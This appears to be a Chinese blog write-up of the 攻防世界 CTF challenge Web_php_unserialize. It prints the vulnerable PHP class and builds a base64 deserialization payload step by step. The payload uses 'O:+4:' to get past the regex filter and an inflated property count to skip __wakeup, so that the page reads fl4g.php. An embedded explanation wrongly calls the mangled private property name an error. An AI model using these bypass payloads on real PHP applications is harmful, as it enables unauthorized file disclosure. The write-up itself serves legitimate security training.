Web_php_unserialize-攻防世界

文章详细分析了一个PHP类Demo,涉及构造函数、析构函数和__wakeup魔术方法,展示了如何通过序列化和正则表达式检测潜在的安全威胁,以及如何通过修改序列化字符串来绕过安全检查。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

 源码分析

<?php   
class Demo {

定义了一个名为Demo的类。

private $file = 'index.php';

Demo类中,定义了一个私有成员变量$file,并初始化为'index.php'

public function __construct($file) {   
        $this->file = $file;   
    }

 这是Demo类的构造函数,它接受一个参数$file,并将其值赋给$this->file

function __destruct() {   
        echo @highlight_file($this->file, true);   
    }

这是Demo类的析构函数,当对象被销毁时调用。它使用highlight_file函数高亮显示$this->file指定的文件内容,并输出到浏览器。@符号表示忽略错误,即如果highlight_file函数出错,不会显示错误信息。

function __wakeup() {   
        if ($this->file != 'index.php') {   
            //the secret is in the fl4g.php  
            $this->file = 'index.php';   
        }   
    }

 这是Demo类的__wakeup方法,它在对象被反序列化时调用。它检查$this->file是否不等于'index.php',如果不等于,则将其重新设置为'index.php'。注释中提到“秘密在fl4g.php”,但此代码并未直接引用或显示fl4g.php

if (isset($_GET['var'])) {

 检查GET参数var是否存在。

$var = base64_decode($_GET['var']);

如果var存在,将其值进行base64解码,并赋值给$var

if (preg_match('/[oc]:\d+:/i', $var)) {   
        die('stop hacking!');   
    } else {

使用正则表达式检查$var是否包含对象或类的序列化字符串。如果包含,则终止脚本并输出“stop hacking!”。

@unserialize($var);   
    }   
} else {   
    highlight_file("index.php");   
}

 如果$var不包含对象或类的序列化字符串,则尝试对其进行反序列化。如果GET参数var不存在,则直接高亮显示index.php文件。

playload构造:

先创建对象序列化

<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
    $this->file = $file;
    //$this->file1 = $file1;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}

$a=new Demo("fl4g.php");
$b=serialize($a);
echo($b);
?>

得到序列化后的字符串

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

 由于有preg_match函数和_wakeup()魔术方法过滤

'/[oc]:\d+:/i’

匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写
[ ] 是定义匹配的字符范围
[oc]是匹配o或c任意一个
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

 

这个字符串 O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} 是一个序列化的PHP对象字符串。它表示一个Demo类的实例,其中包含了对象的属性和值。下面我将解释这个字符串中的每个部分:

  1. O: 表示这是一个对象。
  2. 4: 表示类名Demo的长度是4个字符。
  3. "Demo": 这是对象的类名。
  4. 1: 表示对象有一个属性。
  5. {...}: 对象属性的集合用大括号括起来。
  6. s:10:"Demofile":
    • s: 表示这是一个字符串类型的属性。
    • 10: 表示属性名Demofile的长度是10个字符。
    • "Demofile": 这是属性的名称。但请注意,这个属性名在原始的Demo类定义中并不存在。原始类定义中属性名是$file,这里似乎是一个错误或者篡改。
  7. s:8:"fl4g.php":
    • s: 表示这也是一个字符串类型的属性。
    • 8: 表示属性值fl4g.php的长度是8个字符。
    • "fl4g.php": 这是属性的值。这似乎是代码中的一个提示,表示真正的“秘密”或重要信息在fl4g.php这个文件中。
  1. '/[oc]:\d+:/i': 这是传递给 preg_match 函数的正则表达式字符串。

    • /.../i: 正则表达式的定界符和修饰符。这里的 i 表示不区分大小写(case-insensitive)的匹配。

    • [oc]: 字符类,匹配单个字符,这个字符可以是 o 或 c。在 PHP 对象和类的序列化字符串中,o 通常表示对象(object),c 表示类(class)。

    • :: 匹配冒号字符 :。在 PHP 的序列化字符串中,对象或类后面通常会紧跟一个冒号。

    • \d+\d 是一个特殊字符,表示任意数字(0-9)。+ 表示前面的元素(即 \d)可以出现一次或多次。因此,\d+ 匹配一个或多个连续的数字。

    • :: 再次匹配冒号字符 :。在序列化字符串中,这通常用于分隔对象或类的名称与后面的属性数据。

 

构造新的playload

将O:4:改为O:+4:绕过匹配,将字符串中的属性1改为大于它的正整数 绕过_wakeup。还要绕过

base64_decode将替换后的字符串base64_encode

<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
    $this->file = $file;
    //$this->file1 = $file1;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}

$a=new Demo("fl4g.php");
$b=serialize($a);
$b=str_replace('O:4:','O:+4:',$b);
$b=str_replace(':1:',':2:',$b);
$b=base64_encode($b);
echo($b);

?>

 最好直接替换,不要自己去替换Demo前后有空格自己看不出来,$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉。

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值